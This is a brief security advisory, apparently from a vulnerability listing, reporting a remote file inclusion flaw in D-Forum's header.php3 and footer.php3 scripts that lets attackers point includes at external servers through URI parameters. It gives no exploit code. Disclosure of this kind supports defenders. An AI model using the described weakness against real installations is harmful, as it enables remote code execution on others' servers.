D-Forum is prone to an issue which may allow remote attackers to include files located on remote servers. This issue is present in the /includes/header.php3 and /includes/footer.php3 scripts.
 
Under some circumstances, it is possible for remote attackers to influence the include path for the header and footer files to point to an external file on a remote server by manipulating some URI parameters.
